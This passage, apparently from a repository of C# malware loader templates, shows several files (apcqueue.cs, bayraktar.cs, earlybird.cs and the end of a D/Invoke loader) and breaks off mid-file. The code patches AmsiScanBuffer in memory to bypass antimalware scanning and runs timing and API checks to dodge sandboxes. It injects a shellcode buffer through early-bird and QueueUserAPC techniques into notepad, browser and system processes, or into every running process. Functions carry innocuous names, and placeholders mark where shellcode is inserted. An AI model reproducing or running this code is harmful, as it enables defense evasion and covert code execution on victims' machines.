Craft an array for the arguments 538 | object[] funcargs = 539 | { 540 | DestinationString, SourceString 541 | }; 542 | 543 | DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); 544 | 545 | // Update the modified variables 546 | DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0]; 547 | } 548 | 549 | /// 550 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk. 551 | /// 552 | /// Ruben Boonen (@FuzzySec) 553 | /// The path to the DLL on disk. Uses the LoadLibrary convention. 554 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. 555 | public static IntPtr LoadModuleFromDisk(string DLLPath) 556 | { 557 | STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING(); 558 | RtlInitUnicodeString(ref uModuleName, DLLPath); 559 | 560 | IntPtr hModule = IntPtr.Zero; 561 | STRUCTS.NtStatus CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); 562 | if (CallResult != STRUCTS.NtStatus.Success || hModule == IntPtr.Zero) 563 | { 564 | return IntPtr.Zero; 565 | } 566 | 567 | return hModule; 568 | } 569 | 570 | /// 571 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. 572 | /// 573 | /// The Wover (@TheRealWover) 574 | /// Name of the DLL. 575 | /// Name of the function. 576 | /// Prototype for the function, represented as a Delegate object. 577 | /// Parameters to pass to the function. Can be modified if function uses call by reference. 578 | /// Object returned by the function. Must be unmarshalled by the caller. 579 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 580 | { 581 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 582 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 583 | } 584 | 585 | /// 586 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. 587 | /// 588 | /// The Wover (@TheRealWover) 589 | /// A pointer to the unmanaged function. 590 | /// Prototype for the function, represented as a Delegate object. 591 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. 592 | /// Object returned by the function. Must be unmarshalled by the caller. 593 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 594 | { 595 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 596 | return funcDelegate.DynamicInvoke(Parameters); 597 | } 598 | 599 | /// 600 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 601 | /// 602 | /// Ruben Boonen (@FuzzySec) 603 | /// A pointer to the base address where the module is loaded in the current process. 604 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 605 | /// IntPtr for the desired function. 606 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 607 | { 608 | IntPtr FunctionPtr = IntPtr.Zero; 609 | try 610 | { 611 | // Traverse the PE header in memory 612 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 613 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 614 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 615 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 616 | Int64 pExport = 0; 617 | if (Magic == 0x010b) 618 | { 619 | pExport = OptHeader + 0x60; 620 | } 621 | else 622 | { 623 | pExport = OptHeader + 0x70; 624 | } 625 | 626 | // Read -> IMAGE_EXPORT_DIRECTORY 627 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 628 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 629 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 630 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 631 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 632 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 633 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 634 | 635 | // Loop the array of export name RVA 636 | for (int i = 0; i < NumberOfNames; i++) 637 | { 638 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 639 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 640 | { 641 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 642 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 643 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 644 | break; 645 | } 646 | } 647 | } 648 | catch 649 | { 650 | // Catch parser failure 651 | throw new InvalidOperationException("Failed to parse module exports."); 652 | } 653 | 654 | if (FunctionPtr == IntPtr.Zero) 655 | { 656 | // Export not found 657 | throw new MissingMethodException(ExportName + ", export not found."); 658 | } 659 | return FunctionPtr; 660 | } 661 | 662 | /// 663 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 664 | /// 665 | /// Ruben Boonen (@FuzzySec) 666 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 667 | /// Name of the exported procedure. 668 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 669 | /// IntPtr for the desired function. 670 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 671 | { 672 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 673 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 674 | { 675 | hModule = LoadModuleFromDisk(DLLName); 676 | if (hModule == IntPtr.Zero) 677 | { 678 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 679 | } 680 | } 681 | else if (hModule == IntPtr.Zero) 682 | { 683 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 684 | } 685 | 686 | return GetExportAddress(hModule, FunctionName); 687 | } 688 | } 689 | 690 | static void cleaning() 691 | { 692 | // all credits to https://rastamouse.me/memory-patching-amsi-bypass/ 693 | var modules = Process.GetCurrentProcess().Modules; 694 | var hAmsi = IntPtr.Zero; 695 | 696 | foreach (ProcessModule module in modules) 697 | { 698 | if (module.ModuleName == "amsi.dll") 699 | { 700 | hAmsi = module.BaseAddress; 701 | Console.WriteLine("Found isma"); 702 | break; 703 | } 704 | } 705 | if (hAmsi == IntPtr.Zero) 706 | { 707 | return; 708 | } 709 | else 710 | { 711 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "GetProcAddress"); 712 | DELEGATES.GetProcAddress gpa = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.GetProcAddress)) as DELEGATES.GetProcAddress; 713 | 714 | var asb = gpa(hAmsi, "AmsiScanBuffer"); 715 | var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 716 | 717 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtect"); 718 | DELEGATES.VirtualProtect vp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtect)) as DELEGATES.VirtualProtect; 719 | 720 | vp(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect); 721 | 722 | Marshal.Copy(garbage, 0, asb, garbage.Length); 723 | 724 | vp(asb, (UIntPtr)garbage.Length, oldProtect, out uint _); 725 | 726 | Console.WriteLine("Patched"); 727 | } 728 | } 729 | 730 | static void enhance(byte[] buf, string host) 731 | { 732 | // thanks to https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection 733 | 734 | STARTUPINFO si = new STARTUPINFO(); 735 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 736 | 737 | SECURITY_ATTRIBUTES lpSecurityAttributes = new SECURITY_ATTRIBUTES(); 738 | 739 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "CreateProcessA"); 740 | DELEGATES.CreateProcess cp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess; 741 | bool result = cp(null, host, ref lpSecurityAttributes, ref lpSecurityAttributes, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); 742 | 743 | if (result) 744 | { 745 | Console.WriteLine("Process created with PID: {0}", pi.dwProcessId); 746 | } 747 | else 748 | { 749 | Console.WriteLine("There was a problem creating the process."); 750 | System.Environment.Exit(1); 751 | } 752 | 753 | IntPtr tProcess = pi.hProcess; 754 | IntPtr tHandle = pi.hThread; 755 | 756 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); 757 | DELEGATES.VirtualAllocEx vae = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx; 758 | IntPtr resultPtr = vae(tProcess, IntPtr.Zero, (uint)buf.Length, MEM_COMMIT, PAGE_READWRITE); 759 | 760 | IntPtr bytesWritten = IntPtr.Zero; 761 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); 762 | DELEGATES.WriteProcessMemory wpm = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory; 763 | bool resultBool = wpm(tProcess, resultPtr, buf, buf.Length, out bytesWritten); 764 | 765 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); 766 | DELEGATES.VirtualProtectEx vpe = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx; 767 | vpe(tProcess, resultPtr, (UIntPtr)buf.Length, PAGE_EXECUTE_READ, out _); 768 | 769 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "QueueUserAPC"); 770 | DELEGATES.QueueUserAPC qua = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC; 771 | qua(resultPtr, tHandle, IntPtr.Zero); 772 | 773 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "ResumeThread"); 774 | DELEGATES.ResumeThread rt = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread; 775 | rt(tHandle); 776 | } 777 | static bool buy_in() 778 | { 779 | DateTime t1 = DateTime.Now; 780 | 781 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "Sleep"); 782 | DELEGATES.Sleep sl = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.Sleep)) as DELEGATES.Sleep; 783 | sl(2000); 784 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 785 | if (t2 < 1.5) 786 | { 787 | return false; 788 | } 789 | 790 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "GetCurrentProcess"); 791 | DELEGATES.GetCurrentProcess gcp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.GetCurrentProcess)) as DELEGATES.GetCurrentProcess; 792 | 793 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocExNuma"); 794 | DELEGATES.VirtualAllocExNuma vaen = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocExNuma)) as DELEGATES.VirtualAllocExNuma; 795 | 796 | IntPtr mem = vaen(gcp(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 797 | if (mem == null) 798 | { 799 | return false; 800 | } 801 | 802 | return true; 803 | } 804 | 805 | static void Main(string[] args) 806 | { 807 | string host = "C:\\Windows\\System32\\notepad.exe"; 808 | 809 | 810 | !!!_SHELLCODE_MARK!!! 811 | 812 | 813 | bool result = buy_in(); 814 | if (!result) 815 | { 816 | Console.WriteLine("Architecture is not compatible"); 817 | System.Environment.Exit(1); 818 | } 819 | 820 | cleaning(); 821 | 822 | 823 | !!!DECODE_ROUTINE!!! 824 | 825 | 826 | enhance(buf, host); 827 | 828 | } 829 | } 830 | } -------------------------------------------------------------------------------- /Pinvoke/apcqueue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Diagnostics; 4 | using System.Text; 5 | using System.Collections.Generic; 6 | 7 | namespace apcqueue 8 | { 9 | internal class Program 10 | { 11 | [Flags] 12 | public enum ThreadAccess : int 13 | { 14 | TERMINATE = (0x0001), 15 | SUSPEND_RESUME = (0x0002), 16 | GET_CONTEXT = (0x0008), 17 | SET_CONTEXT = (0x0010), 18 | SET_INFORMATION = (0x0020), 19 | QUERY_INFORMATION = (0x0040), 20 | SET_THREAD_TOKEN = (0x0080), 21 | IMPERSONATE = (0x0100), 22 | DIRECT_IMPERSONATION = (0x0200), 23 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 24 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 25 | } 26 | 27 | private static UInt32 MEM_COMMIT = 0x1000; 28 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 29 | private static UInt32 PAGE_READWRITE = 0x04; 30 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 31 | 32 | [DllImport("kernel32.dll")] 33 | static extern void Sleep(uint dwMilliseconds); 34 | 35 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 36 | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 37 | 38 | [DllImport("kernel32.dll")] 39 | static extern IntPtr GetCurrentProcess(); 40 | 41 | [DllImport("kernel32")] 42 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 43 | 44 | [DllImport("kernel32")] 45 | public static extern IntPtr LoadLibrary(string name); 46 | 47 | [DllImport("kernel32")] 48 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 49 | 50 | [DllImport("kernel32.dll", SetLastError = true)] 51 | public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId); 52 | 53 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 54 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 55 | 56 | [DllImport("kernel32.dll")] 57 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 58 | 59 | [DllImport("kernel32.dll", SetLastError = true)] 60 | static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 61 | 62 | [DllImport("kernel32.dll")] 63 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 64 | 65 | [DllImport("kernel32.dll", SetLastError = true)] 66 | public static extern Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 67 | 68 | static void cleaning() 69 | { 70 | // all credits to https://rastamouse.me/memory-patching-amsi-bypass/ 71 | var modules = Process.GetCurrentProcess().Modules; 72 | var hAmsi = IntPtr.Zero; 73 | 74 | foreach (ProcessModule module in modules) 75 | { 76 | if (module.ModuleName == "amsi.dll") 77 | { 78 | hAmsi = module.BaseAddress; 79 | Console.WriteLine("Found isma"); 80 | break; 81 | } 82 | } 83 | if (hAmsi == IntPtr.Zero) 84 | { 85 | return; 86 | } 87 | else 88 | { 89 | var asb = GetProcAddress(hAmsi, "AmsiScanBuffer"); 90 | var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 91 | 92 | VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect); 93 | 94 | Marshal.Copy(garbage, 0, asb, garbage.Length); 95 | 96 | VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _); 97 | 98 | Console.WriteLine("Patched"); 99 | } 100 | } 101 | 102 | static void enhance(byte[] buf, Process process) 103 | { 104 | // thanks to https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs 105 | // https://dev.to/wireless90/stealthy-code-injection-in-a-running-net-process-i5c 106 | 107 | Console.WriteLine("Targeting {0}", process.Id); 108 | 109 | IntPtr hProcess = OpenProcess(0x001F0FFF, false, (uint)process.Id); 110 | IntPtr resultPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)buf.Length, MEM_COMMIT, PAGE_READWRITE); 111 | IntPtr bytesWritten = IntPtr.Zero; 112 | bool resultBool = WriteProcessMemory(hProcess, resultPtr, buf, buf.Length, out bytesWritten); 113 | foreach (ProcessThread thread in process.Threads) 114 | { 115 | Console.WriteLine("Found thread {0}", (uint)thread.Id); 116 | IntPtr threadHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)thread.Id); 117 | VirtualProtectEx(hProcess, resultPtr, (UIntPtr)buf.Length, PAGE_EXECUTE_READ, out _); 118 | QueueUserAPC(resultPtr, threadHandle, IntPtr.Zero); 119 | } 120 | } 121 | 122 | static Process[] boxboxbox(string host) 123 | { 124 | 125 | var processes = Process.GetProcessesByName(host); 126 | 127 | return processes; 128 | } 129 | 130 | static bool buy_in() 131 | { 132 | DateTime t1 = DateTime.Now; 133 | Sleep(2000); 134 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 135 | if (t2 < 1.5) 136 | { 137 | return false; 138 | } 139 | 140 | IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 141 | if (mem == null) 142 | { 143 | return false; 144 | } 145 | 146 | return true; 147 | } 148 | 149 | static void Main(string[] args) 150 | { 151 | string[] hosts = {"dllhost", "msedge", "YourPhone", "smartscreen"}; 152 | 153 | !!!_SHELLCODE_MARK!!! 154 | 155 | bool result = buy_in(); 156 | 157 | if (!result) 158 | { 159 | Console.WriteLine("Architecture is not compatible"); 160 | System.Environment.Exit(1); 161 | } 162 | cleaning(); 163 | 164 | List res = new List(); 165 | foreach (string host in hosts) 166 | { 167 | var processes = boxboxbox(host); 168 | if (processes.Length != 0) 169 | { 170 | foreach (Process process in processes){ 171 | res.Add(process); 172 | } 173 | } 174 | } 175 | 176 | if (res.Count == 0) 177 | { 178 | Console.WriteLine("Found no process"); 179 | System.Environment.Exit(1); 180 | } 181 | else 182 | { 183 | 184 | !!!DECODE_ROUTINE!!! 185 | 186 | foreach (var process in res) 187 | { 188 | Console.WriteLine("Found process {0}", process.Id); 189 | enhance(buf, process); 190 | } 191 | } 192 | } 193 | } 194 | } 195 | -------------------------------------------------------------------------------- /Pinvoke/bayraktar.cs: -------------------------------------------------------------------------------- 1 | // This templates uses QueueUserAPC injection in all threads, of all process. Not stealthy at all, but fun. 2 | 3 | using System; 4 | using System.Runtime.InteropServices; 5 | using System.Diagnostics; 6 | using System.Text; 7 | 8 | namespace bayraktar 9 | { 10 | internal class Program 11 | { 12 | [Flags] 13 | public enum ThreadAccess : int 14 | { 15 | TERMINATE = (0x0001), 16 | SUSPEND_RESUME = (0x0002), 17 | GET_CONTEXT = (0x0008), 18 | SET_CONTEXT = (0x0010), 19 | SET_INFORMATION = (0x0020), 20 | QUERY_INFORMATION = (0x0040), 21 | SET_THREAD_TOKEN = (0x0080), 22 | IMPERSONATE = (0x0100), 23 | DIRECT_IMPERSONATION = (0x0200), 24 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 25 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 26 | } 27 | 28 | private static UInt32 MEM_COMMIT = 0x1000; 29 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 30 | private static UInt32 PAGE_READWRITE = 0x04; 31 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 32 | 33 | [DllImport("kernel32.dll")] 34 | static extern void Sleep(uint dwMilliseconds); 35 | 36 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 37 | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 38 | 39 | [DllImport("kernel32.dll")] 40 | static extern IntPtr GetCurrentProcess(); 41 | 42 | [DllImport("kernel32")] 43 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 44 | 45 | [DllImport("kernel32")] 46 | public static extern IntPtr LoadLibrary(string name); 47 | 48 | [DllImport("kernel32")] 49 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 50 | 51 | [DllImport("kernel32.dll", SetLastError = true)] 52 | public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId); 53 | 54 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 55 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 56 | 57 | [DllImport("kernel32.dll")] 58 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 59 | 60 | [DllImport("kernel32.dll", SetLastError = true)] 61 | static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 62 | 63 | [DllImport("kernel32.dll")] 64 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 65 | 66 | [DllImport("kernel32.dll", SetLastError = true)] 67 | public static extern Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 68 | 69 | static void cleaning() 70 | { 71 | // all credits to https://rastamouse.me/memory-patching-amsi-bypass/ 72 | var modules = Process.GetCurrentProcess().Modules; 73 | var hAmsi = IntPtr.Zero; 74 | 75 | foreach (ProcessModule module in modules) 76 | { 77 | if (module.ModuleName == "amsi.dll") 78 | { 79 | hAmsi = module.BaseAddress; 80 | Console.WriteLine("Found isma"); 81 | break; 82 | } 83 | } 84 | if (hAmsi == IntPtr.Zero) 85 | { 86 | return; 87 | } 88 | else 89 | { 90 | var asb = GetProcAddress(hAmsi, "AmsiScanBuffer"); 91 | var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 92 | 93 | VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect); 94 | 95 | Marshal.Copy(garbage, 0, asb, garbage.Length); 96 | 97 | VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _); 98 | 99 | Console.WriteLine("Patched"); 100 | } 101 | } 102 | 103 | static void enhance(byte[] buf, Process process) 104 | { 105 | // thanks to https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs 106 | // https://dev.to/wireless90/stealthy-code-injection-in-a-running-net-process-i5c 107 | 108 | Console.WriteLine("Targeting {0}", process.Id); 109 | 110 | IntPtr hProcess = OpenProcess(0x001F0FFF, false, (uint)process.Id); 111 | IntPtr resultPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)buf.Length, MEM_COMMIT, PAGE_READWRITE); 112 | IntPtr bytesWritten = IntPtr.Zero; 113 | bool resultBool = WriteProcessMemory(hProcess, resultPtr, buf, buf.Length, out bytesWritten); 114 | foreach (ProcessThread thread in process.Threads) 115 | { 116 | Console.WriteLine("Found thread {0}", (uint)thread.Id); 117 | IntPtr threadHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)thread.Id); 118 | VirtualProtectEx(hProcess, resultPtr, (UIntPtr)buf.Length, PAGE_EXECUTE_READ, out _); 119 | QueueUserAPC(resultPtr, threadHandle, IntPtr.Zero); 120 | } 121 | } 122 | 123 | static Process[] boxboxbox() 124 | { 125 | var processes = Process.GetProcesses(); 126 | 127 | return processes; 128 | } 129 | 130 | static bool buy_in() 131 | { 132 | DateTime t1 = DateTime.Now; 133 | Sleep(2000); 134 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 135 | if (t2 < 1.5) 136 | { 137 | return false; 138 | } 139 | 140 | IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 141 | if (mem == null) 142 | { 143 | return false; 144 | } 145 | 146 | return true; 147 | } 148 | 149 | static void Main(string[] args) 150 | { 151 | 152 | !!!_SHELLCODE_MARK!!! 153 | 154 | bool result = buy_in(); 155 | if (!result) 156 | { 157 | Console.WriteLine("Architecture is not compatible"); 158 | System.Environment.Exit(1); 159 | } 160 | 161 | cleaning(); 162 | 163 | var processes = boxboxbox(); 164 | 165 | 166 | 167 | if (processes.Length == 0) 168 | { 169 | Console.WriteLine("Found no process"); 170 | System.Environment.Exit(1); 171 | } 172 | else 173 | { 174 | !!!DECODE_ROUTINE!!! 175 | 176 | foreach (var process in processes) 177 | { 178 | Console.WriteLine("Found process {0}", process.Id); 179 | enhance(buf, process); 180 | } 181 | } 182 | } 183 | } 184 | } 185 | -------------------------------------------------------------------------------- /Pinvoke/earlybird.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Diagnostics; 4 | using System.Text; 5 | 6 | 7 | namespace EarlyBird 8 | { 9 | internal class Program 10 | { 11 | [Flags] 12 | public enum ThreadAccess : int 13 | { 14 | TERMINATE = (0x0001), 15 | SUSPEND_RESUME = (0x0002), 16 | GET_CONTEXT = (0x0008), 17 | SET_CONTEXT = (0x0010), 18 | SET_INFORMATION = (0x0020), 19 | QUERY_INFORMATION = (0x0040), 20 | SET_THREAD_TOKEN = (0x0080), 21 | IMPERSONATE = (0x0100), 22 | DIRECT_IMPERSONATION = (0x0200), 23 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 24 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 25 | } 26 | 27 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 28 | struct STARTUPINFO 29 | { 30 | public Int32 cb; 31 | public string lpReserved; 32 | public string lpDesktop; 33 | public string lpTitle; 34 | public Int32 dwX; 35 | public Int32 dwY; 36 | public Int32 dwXSize; 37 | public Int32 dwYSize; 38 | public Int32 dwXCountChars; 39 | public Int32 dwYCountChars; 40 | public Int32 dwFillAttribute; 41 | public Int32 dwFlags; 42 | public Int16 wShowWindow; 43 | public Int16 cbReserved2; 44 | public IntPtr lpReserved2; 45 | public IntPtr hStdInput; 46 | public IntPtr hStdOutput; 47 | public IntPtr hStdError; 48 | } 49 | 50 | [StructLayout(LayoutKind.Sequential)] 51 | internal struct PROCESS_INFORMATION 52 | { 53 | public IntPtr hProcess; 54 | public IntPtr hThread; 55 | public int dwProcessId; 56 | public int dwThreadId; 57 | } 58 | 59 | private static UInt32 MEM_COMMIT = 0x1000; 60 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 61 | private static UInt32 PAGE_READWRITE = 0x04; 62 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 63 | private static UInt32 CREATE_SUSPENDED = 0x00000004; 64 | 65 | [StructLayout(LayoutKind.Sequential)] 66 | public struct SECURITY_ATTRIBUTES 67 | { 68 | public int nLength; 69 | public unsafe byte* lpSecurityDescriptor; 70 | public int bInheritHandle; 71 | } 72 | 73 | [DllImport("kernel32.dll")] 74 | static extern void Sleep(uint dwMilliseconds); 75 | 76 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 77 | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 78 | 79 | [DllImport("kernel32.dll")] 80 | static extern IntPtr GetCurrentProcess(); 81 | 82 | [DllImport("kernel32")] 83 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 84 | 85 | [DllImport("kernel32")] 86 | public static extern IntPtr LoadLibrary(string name); 87 | 88 | [DllImport("kernel32")] 89 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 90 | 91 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 92 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 93 | 94 | [DllImport("kernel32.dll")] 95 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 96 | 97 | 